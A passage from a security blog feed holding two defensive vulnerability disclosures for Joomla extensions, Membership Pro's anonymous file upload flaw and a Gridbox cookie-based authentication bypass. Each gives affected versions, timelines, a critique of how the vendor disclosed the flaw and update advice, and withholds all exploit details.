&lt;h2&gt;How do I find every Membership Pro site I manage?&lt;/h2&gt;
&lt;p&gt;The awkward question after any extension security release is which of your sites actually run the thing. Up to about ten sites you can log into each Joomla admin and read the installed extensions list. Past that you need a single view, which is why those version numbers get so old: the work of checking scales with the number of sites, so it stops happening.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Membership Pro once and get back every connected site running it, the version each one is on, and whether an update is available. That is the same query we ran to produce the version table above, and you can run it against your own sites in about ten seconds.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Membership Pro install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Membership Pro across every connected Joomla site and filter for anything below 4.6.2. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. When a fix ships we add the affected range to our vulnerability database, so every connected site still on a version below 4.6.2 is flagged automatically. You can also &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so the next fix like this one reaches your sites without you lifting a finger. You should not have to hear about a Joomla security release through a mailing list you might not be on, then audit a portfolio of client sites by hand to find out whether it is your problem.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every Joomla site running Membership Pro to &lt;strong&gt;4.6.2&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production site, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a full backup so you have a clean starting point&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run the cleanup tool&lt;/strong&gt; after updating, to delete any unauthenticated upload files left behind, and consider the scheduled task version&lt;/li&gt;
&lt;li&gt;If you are on a build several versions back, expect a real upgrade rather than a one-click patch, and test it somewhere other than production&lt;/li&gt;
&lt;li&gt;Do not rely on a firewall for this one. There is no payload to filter, so there is nothing for it to block&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;If the cleanup tool finds files you cannot account for, treat the site as potentially compromised and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another one, because Joomla runs on thousands of third-party extensions and the ones that accept anonymous input keep producing bugs like this. This is the second JoomDonation upload endpoint to be hardened in a week, and it will not be the last extension to close a hole like this with a reassuring email and no advisory of its own. The hard part was never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before someone else does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this is disclosed you see exactly which sites are exposed in seconds, without opening a single admin panel.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;What we are and are not claiming&lt;/p&gt;
  &lt;p&gt;We did not discover or report the Membership Pro flaw. We reported the identical anonymous upload flaw in Events Booking, which has &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60025/&quot;&gt;CVE-2026-60025&lt;/a&gt;. The Membership Pro issue is now tracked separately as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-62415/&quot;&gt;CVE-2026-62415&lt;/a&gt;, assigned by the Joomla project&apos;s CNA and rated &lt;strong&gt;9.1 critical&lt;/strong&gt; (CVSS 3.1). This post reads across from our Events Booking audit and from JoomDonation&apos;s own 4.6.2 release email. One piece of nuance to that critical rating: on a default configuration the practical impact is anonymous file writes constrained to image and document types, which is serious but not a web shell. It rises to unauthenticated remote code execution only on a site whose allowed file types have been widened to include an executable type.&lt;/p&gt;
&lt;/div&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;Membership Pro for Joomla (&lt;code&gt;com_osmembership&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomDonation / Ossolution (&lt;a href=&quot;https://joomdonation.com/&quot;&gt;joomdonation.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated file upload, enabled by default (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, classified &lt;a href=&quot;https://cwe.mitre.org/data/definitions/1188.html&quot;&gt;CWE-1188&lt;/a&gt; by the CVE)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-62415/&quot;&gt;CVE-2026-62415&lt;/a&gt;, assigned by the Joomla CNA, published 21 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS&lt;/td&gt;&lt;td&gt;9.1 critical (CVSS 3.1, &lt;code&gt;AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:N&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous file writes to the web server, on installs that were not using the upload feature&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;1.0 to 4.6.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;4.6.2, released 21 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor record&lt;/td&gt;&lt;td&gt;No JoomDonation advisory or changelog entry of its own at time of writing&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Related disclosure&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking, same developer, same flaw class&lt;/a&gt;, reported by Phil Taylor of mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; JoomDonation emails Events Booking customers about the upload fix there That flaw was ours, reported in the sibling component and tracked as CVE-2026-60024 and CVE-2026-60025. The Membership Pro flaw was not ours: we neither found nor reported it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-21&lt;/strong&gt; Membership Pro 4.6.2 applies the same fix The subscriber upload endpoint now switches itself off when a site has no File custom fields, gains validation and abuse protection when it does, and ships a cleanup tool for the unauthenticated files earlier versions had already accepted. No advisory, no changelog entry, and a customer email calling it a security improvement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-21&lt;/strong&gt; The Joomla CNA assigns CVE-2026-62415 and rates it 9.1 critical A less equivocal reading than the vendor&apos;s. One piece of nuance: on a default configuration the practical impact is anonymous file writes constrained to image and document types, and it becomes remote code execution only where the allowed types have been widened to include an executable one.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Our Events Booking disclosure&lt;/a&gt; - the anonymous upload flaw we reported in the sibling component, with the full technical detail and the three CVEs behind this fix.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;This was one of a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the wider run this fits into.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the opt-in security pattern in JoomDonation&apos;s controller framework that produces findings like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the official reference for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/membership-pro-joomla-membership-subscription.html&quot;&gt;Membership Pro product page&lt;/a&gt; - where 4.6.2 is available to download.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>membership pro</category><category>vulnerability</category><category>file upload</category><category>osmembership</category><enclosure url="https://mysites.guru/img/og/blog/membership-pro-unauthenticated-file-upload.png" length="0" type="image/png"/></item><item><title>Gridbox for Joomla: One Cookie and You Are a Super User</title><link>https://mysites.guru/blog/gridbox-critical-authentication-bypass/</link><guid isPermaLink="true">https://mysites.guru/blog/gridbox-critical-authentication-bypass/</guid><description>A critical unauthenticated authentication bypass in Gridbox for Joomla let anyone become a Super User by setting a single cookie. Fixed in 2.20.1. Update now.</description><pubDate>Mon, 20 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.balbooa.com/gridbox&quot;&gt;Gridbox&lt;/a&gt; is a widely used drag-and-drop page builder for Joomla, built by Balbooa. It runs the front end of a lot of small business and agency sites, and on the sites we can see it is usually the thing the whole design depends on.&lt;/p&gt;
&lt;p&gt;mySites.guru found a critical unauthenticated authentication bypass in Gridbox, and Balbooa fixed it in &lt;strong&gt;Gridbox 2.20.1&lt;/strong&gt;, released today, 20 July 2026. If you run Gridbox on any Joomla site, stop reading and go and update it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update, 10 August 2026: 2.20.1 is no longer the version to be on. Our &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;full audit of Gridbox&lt;/a&gt; nine days after this post found 23 further vulnerabilities, several of them actively exploited, and every CVE record for that set lists 1.0.0 to 2.20.1 as affected. Balbooa has shipped 2.20.2, 2.20.2.2 and 2.20.2.3 since. Update to &lt;strong&gt;2.20.2.3&lt;/strong&gt;.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;The flaw&lt;/p&gt;&lt;p&gt;Gridbox trusted a value supplied by the visitor’s own browser as proof of who they were. Set it to an administrator’s username and you were logged in as that user.&lt;/p&gt;&lt;p&gt;No password. No login form. No existing session. One anonymous request.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;mySites.guru found this and reported it privately to Balbooa, copying the Joomla Security Strike Team. The fix is in Gridbox 2.20.1. We are withholding the exact cookie, the endpoint and any proof-of-concept. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A critical unauthenticated authentication bypass in Gridbox&lt;/strong&gt; let anyone become a Super User on a Joomla site by setting a single browser cookie&lt;/li&gt;
&lt;li&gt;We &lt;strong&gt;confirmed it live&lt;/strong&gt;: an anonymous request that returned nothing became a full administrator session, and Joomla itself recorded the user as logged in&lt;/li&gt;
&lt;li&gt;A Joomla Super User can edit templates, which is PHP execution, so this is &lt;strong&gt;full site compromise, usually full server compromise&lt;/strong&gt;, from one request&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Balbooa asked us to test Gridbox.&lt;/strong&gt; After our &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms disclosure&lt;/a&gt; earlier this month they said they had reviewed and hardened their other products, sent us a package and invited us to look. This was in the build they sent&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fixed in 2.20.1&lt;/strong&gt;, released 20 July 2026. The previous release was 2.20.0.2 in &lt;strong&gt;October 2025&lt;/strong&gt;, so the vulnerable code shipped for at least nine months&lt;/li&gt;
&lt;li&gt;The changelog entry is &lt;strong&gt;three words&lt;/strong&gt;: “Critical authentication vulnerability”. No affected versions, no impact, no urgency&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No announcement on the Gridbox blog.&lt;/strong&gt; The only place 2.20.1 appears there is in Balbooa’s own asset URLs, because their own site is already running it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;We were not told the release was coming&lt;/strong&gt;, and were never asked to verify that the fix closed what we reported&lt;/li&gt;
&lt;li&gt;Tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt;&lt;/strong&gt;, assigned through the Joomla CNA&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Update, 8 October 2026: Gridbox 2.20.4.0 is now the version to install&lt;/h2&gt;
&lt;p&gt;Balbooa released Gridbox 2.20.4.0 with two more security fixes: a Cross-Site Request Forgery flaw in the language installation process and a tighter path check in the image preview, reported by Sergiy Tryzhychynskyi. Both affect 2.20.3.1, which this post previously named as the version to update to. Update straight to 2.20.4.0. The details are in &lt;a href=&quot;https://mysites.guru/blog/gridbox-2-20-4-0-security-fixes/&quot;&gt;Gridbox 2.20.4.0 Fixes a Language Install CSRF and an Image Path Check&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What the flaw actually was&lt;/h2&gt;
&lt;p&gt;Authentication in a Joomla extension should come down to one question: has this person proved who they are? Gridbox answered a different question. It read a value out of the request that the visitor’s own browser had supplied, took that value to be an identity, and acted on it.&lt;/p&gt;
&lt;p&gt;Anything the browser sends is attacker-controlled. A cookie is not a credential, it is a note the visitor writes to themselves, and the only reason a session cookie means anything is that the server issued it and can recognise its own signature. A cookie whose plain value is a username has no such property. You can type it yourself.&lt;/p&gt;
&lt;p&gt;So an anonymous visitor with no account could name an administrator and be treated as that administrator.&lt;/p&gt;
&lt;p&gt;We confirmed it against a live Joomla install rather than reasoning about it from the source. A guest request to an administrator-only endpoint returned nothing, as it should. The same request, with one cookie added, returned the administrator-only content in full, and Joomla’s own session state recorded the visitor as logged in. It is account takeover of any user on the site, chosen by name, not a permissions edge case or a theoretical weakness.&lt;/p&gt;
&lt;p&gt;On Joomla the ceiling is high, and it is worth being explicit about why this scores where it does. A Super User can edit template files from the administrator interface. Template files are PHP. So an authentication bypass that reaches Super User is a remote code execution chain, and from there the rest of the hosting account is usually reachable too. There is no configuration that makes this safe, no permission you could have set differently, and no firewall rule that helps, because the request is perfectly well formed and contains no payload to detect.&lt;/p&gt;
&lt;p&gt;We are not publishing the cookie name, the endpoint or a proof-of-concept. The fix is out. The detail can wait.&lt;/p&gt;
&lt;h2&gt;Balbooa asked us to test it&lt;/h2&gt;
&lt;p&gt;This is the part of the story we did not expect, and it is only fair to Balbooa to tell it in the right order.&lt;/p&gt;
&lt;p&gt;Earlier this month we found and disclosed an unauthenticated file upload flaw in &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, which became &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;. That one came to us through a hosting abuse report on a customer’s live site, and Balbooa responded well: they took the report seriously and shipped a fix inside a day.&lt;/p&gt;
&lt;p&gt;On 17 July, Balbooa came back to us unprompted. They thanked us for the earlier disclosure, said it had prompted them to review their other products, and told us they had already hardened Gridbox. Then they sent us a package and invited us to test it:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Balbooa, 17 July&lt;/p&gt;&lt;div&gt;&lt;p&gt;As a result, we’ve been reviewing the security of our other products as well. From what we understand, you use automated tools to identify potential vulnerabilities, so we took the opportunity to harden several areas in Gridbox that we believed could potentially be improved. If you have some time, we’d be interested to know whether your tools uncover anything we’ve missed.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That is a good instinct, and we want to say so clearly, because a vendor volunteering their code for review is rarer than it should be. We ran it the same day.&lt;/p&gt;
&lt;p&gt;The authentication bypass was in the build they sent us as hardened. We reported it back within the hour, copying the Joomla Security Strike Team, and told them that every site running the extension should be treated as compromiseable immediately.&lt;/p&gt;
&lt;p&gt;Balbooa’s reply was to ask us to quote for a paid security audit of Gridbox. We declined, because we have our hands full running mySites.guru, but we repeated that what we had already gave them had to be fixed straight away, asked to see a fixed build so we could verify it actually closed the hole, and offered to coordinate the disclosure and the CVE with them.&lt;/p&gt;
&lt;p&gt;Three days later the fix shipped, and we found out from someone else.&lt;/p&gt;
&lt;h2&gt;The changelog, in full&lt;/h2&gt;
&lt;p&gt;Here is what a Gridbox administrator sees today. This is the entire public description of a flaw that hands anonymous visitors a Super User account:&lt;/p&gt;
&lt;figure&gt;&lt;img src=&quot;https://mysites.guru/img/blog/gridbox-changelog-critical-authentication-vulnerability.png&quot; alt=&quot;Screenshot of the Balbooa Gridbox changelog page. Under the heading 2.20.1 dated 20.07.2026, an Added section lists two items: uploaded files now receive randomly generated server-side filenames instead of preserving client filenames, and added CSRF protection to frontend file upload requests. A Fixed section below it contains a single item: Critical authentication vulnerability.&quot; width=&quot;1192&quot; height=&quot;1044&quot; loading=&quot;lazy&quot; /&gt;&lt;figcaption&gt;The complete public record of the Gridbox authentication bypass, as published by the vendor on 20 July 2026.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Three words. “Critical authentication vulnerability.”&lt;/p&gt;
&lt;p&gt;We are not asking for a proof-of-concept in a changelog. No one sensible publishes exploit detail alongside a patch. But there is an enormous amount of room between an exploit and three words, and everything a site owner needs to make a decision lives in that space:&lt;/p&gt;
&lt;h3&gt;No affected version range&lt;/h3&gt;
&lt;p&gt;This is the single most important fact in any security release, and it is missing. A Gridbox administrator on 2.19 has no way to know whether this applies to them. Neither does one on 2.16, or 2.12. The version immediately before 2.20.1 was 2.20.0.2, released on &lt;strong&gt;21 October 2025&lt;/strong&gt;, which means the vulnerable code had been shipping for at least nine months and probably far longer. None of that is stated.&lt;/p&gt;
&lt;h3&gt;No description of impact&lt;/h3&gt;
&lt;p&gt;“Authentication vulnerability” covers everything from a session that expires too slowly to what actually happened here. A reader has no way to distinguish the two, so most will assume the mild version, because most vulnerabilities are the mild version.&lt;/p&gt;
&lt;h3&gt;No urgency&lt;/h3&gt;
&lt;p&gt;There is no “update immediately”, no severity rating, no note that sites should be checked for compromise. The entry sits in the same visual style as “Incorrect time zone in the calendar” from the previous release.&lt;/p&gt;
&lt;h3&gt;Two more security fixes filed as features&lt;/h3&gt;
&lt;p&gt;Look at the Added section in that screenshot. Randomised server-side upload filenames, and CSRF protection on frontend file upload requests. Those are not features. They are the same two hardening measures we watched &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;JoomDonation bolt onto Events Booking&lt;/a&gt; last week after an unauthenticated upload flaw, and they belong under Fixed with an explanation. Filed under Added, they read as improvements rather than as repairs to something that was wrong.&lt;/p&gt;
&lt;h2&gt;No announcement anywhere else&lt;/h2&gt;
&lt;p&gt;A changelog is a reference document. People read it when they already suspect something. For a critical flaw the vendor also has to push the information out, and Balbooa runs exactly the right channel for that: a &lt;a href=&quot;https://www.balbooa.com/blog/gridbox&quot;&gt;Gridbox blog&lt;/a&gt; where they write about releases.&lt;/p&gt;
&lt;p&gt;There is nothing there about this.&lt;/p&gt;
&lt;p&gt;We checked the page on the day of release. The words “security”, “vulnerability”, “critical” and “authentication” do not appear on it at all. The only place the string 2.20.1 appears anywhere on that page is inside the cache-busting query strings on Balbooa’s own stylesheets and scripts, which is its own small detail: their website is already running the patched version while their customers have been told nothing.&lt;/p&gt;
&lt;p&gt;So the sum total of public communication about a Super User authentication bypass is three words in a document you have to already know to go and read.&lt;/p&gt;
&lt;h2&gt;What coordinated disclosure would have looked like&lt;/h2&gt;
&lt;p&gt;We wrote about this &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;last week in the context of another vendor&lt;/a&gt;, and we would rather not make a habit of it, but the same gap has opened twice in a fortnight and it is worth being concrete about what was missing.&lt;/p&gt;
&lt;p&gt;Coordinated disclosure is a documented process. &lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147&lt;/a&gt; covers how a vendor should handle and publish vulnerability information, &lt;a href=&quot;https://www.iso.org/standard/69725.html&quot;&gt;ISO/IEC 30111&lt;/a&gt; covers the handling process behind it, and the &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; is the practitioner reference. They agree on the vendor’s obligations, and four of them apply here.&lt;/p&gt;
&lt;h3&gt;Tell the reporter the release is coming&lt;/h3&gt;
&lt;p&gt;We asked to be kept in the loop and offered to coordinate. The release went out on 20 July and we learned about it from the Joomla Security Strike Team, not from Balbooa. There is no version of coordinated disclosure in which the reporter finds out from a third party.&lt;/p&gt;
&lt;h3&gt;Ask the reporter to verify the fix before you ship it&lt;/h3&gt;
&lt;p&gt;This is the step that protects the vendor, not the researcher. We explicitly asked for a fixed build so we could confirm the hole was actually closed, and were never sent one. We have not been able to verify 2.20.1 against what we reported. It looks right from the outside and we have no reason to think it is wrong, but no one who found the flaw has checked the patch, and that is a risk Balbooa did not need to take. The fix for an authentication bypass is exactly the kind of change that can be almost right.&lt;/p&gt;
&lt;h3&gt;Publish an advisory a customer can act on&lt;/h3&gt;
&lt;p&gt;An affected version range, a severity, an impact description and an instruction. This costs one paragraph.&lt;/p&gt;
&lt;h3&gt;Agree the disclosure timing once, in advance&lt;/h3&gt;
&lt;p&gt;Fix a date with the reporter, publish together, request the CVE. Instead the patch went out unannounced, which starts the clock anyway, because anyone can now compare 2.20.0.2 with 2.20.1 and find the change. A silent security release does not buy quiet. It buys a head start for whoever is diffing releases, and leaves defenders reading three words.&lt;/p&gt;
&lt;p&gt;None of this requires a security team or a budget. It is an email to the person who reported it and a paragraph on a blog.&lt;/p&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;Update today, not this week&lt;/p&gt;&lt;p&gt;Every Joomla site running Gridbox below 2.20.1 should be treated as trivially compromiseable by anyone who knows the trick.&lt;/p&gt;&lt;p&gt;The patch is public, so the flaw can be recovered by comparing two releases. There is no mitigating configuration and no firewall rule that helps.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update Gridbox to 2.20.1&lt;/strong&gt; on every Joomla site you manage. Joomla’s Extensions updater will offer it, or download it from your Balbooa account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first&lt;/strong&gt;, as with any extension update on a production site. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; so you have a clean point to return to.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check for compromise on any site that has been running an affected version.&lt;/strong&gt; This is an authentication bypass, so the thing to look for is what an attacker does after logging in: unexpected Super User accounts, recently modified template files, and administrator logins you cannot account for. Our guides to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt; cover the process.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate credentials&lt;/strong&gt; on any site you have reason to worry about, and treat the Joomla secret as exposed if the site was reachable and busy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not wait for formalities.&lt;/strong&gt; The flaw is now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt;, but the fix already exists and the patch is public. Update regardless of any advisory catching up.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;We confirmed the bypass in &lt;strong&gt;2.20.0.1&lt;/strong&gt;, which is the build Balbooa sent us. Being straight about the limits of that: we tested one version, and the vendor has published no affected range, so we cannot tell you when the flawed code first appeared.&lt;/p&gt;
&lt;p&gt;What we can tell you is that the release immediately before the fix was &lt;strong&gt;2.20.0.2, dated 21 October 2025&lt;/strong&gt;. Nine months of releases separate those two entries, which means the vulnerable code was in the shipping product for at least that long.&lt;/p&gt;
&lt;p&gt;Treat every Gridbox below 2.20.1 as affected. The fixed version for this flaw is &lt;strong&gt;2.20.1&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;That was true on the day, and it is out of date now: &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;the audit that followed&lt;/a&gt; found 23 more vulnerabilities affecting everything up to and including 2.20.1. The current release is &lt;strong&gt;2.20.2.3&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Across the Joomla sites connected to mySites.guru we can see the Gridbox component on &lt;strong&gt;447 sites&lt;/strong&gt;. At the time of writing &lt;strong&gt;244 of those are still on 2.20.0.2&lt;/strong&gt;, the last release before the fix, and only 137 have picked up 2.20.1. That split is why the missing announcement matters: the update exists, and most sites have no idea they need it.&lt;/p&gt;
&lt;h2&gt;How do I find every Gridbox site I manage?&lt;/h2&gt;
&lt;p&gt;The awkward question after any extension security release is which of your sites actually run the thing. Up to about ten sites you can log into each Joomla admin and read the installed extensions list. Past that you need a single view, which is exactly why version numbers get so old.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Gridbox once and get back every connected site running it, the version each one is on, and whether an update is available. That is the same query that produced the numbers above.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View every Gridbox install across your sites&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Search for Gridbox across every connected Joomla site and filter for anything below 2.20.1. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;When a fix ships we add the affected range to our vulnerability database, so every connected site still on a vulnerable version of Gridbox is flagged automatically, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; pushes the update to all of them from one screen.&lt;/p&gt;
&lt;h2&gt;Credit where it is due&lt;/h2&gt;
&lt;p&gt;We have been hard on the communications here, so it is worth separating them from everything else.&lt;/p&gt;
&lt;p&gt;Balbooa did something most vendors never do: after taking one disclosure on the chin they went looking for problems in their other products, and then invited an outside party to test the result. That instinct is good, and the fix itself arrived in three days, which is fast by any standard in this ecosystem.&lt;/p&gt;
&lt;p&gt;The bug is also an ordinary kind of mistake. Trusting a value from the request is the oldest error in web authentication, and it is in a great deal of shipped code written by people who know better.&lt;/p&gt;
&lt;p&gt;What let this down was everything after the fix was written. The patch went out without telling the person who reported it, without anyone verifying it closed the hole, described in three words, with no affected versions and no announcement. A good engineering response and a poor communications response are different things, and only one of them was the problem here.&lt;/p&gt;
&lt;h2&gt;Since this post: two more Gridbox security releases&lt;/h2&gt;
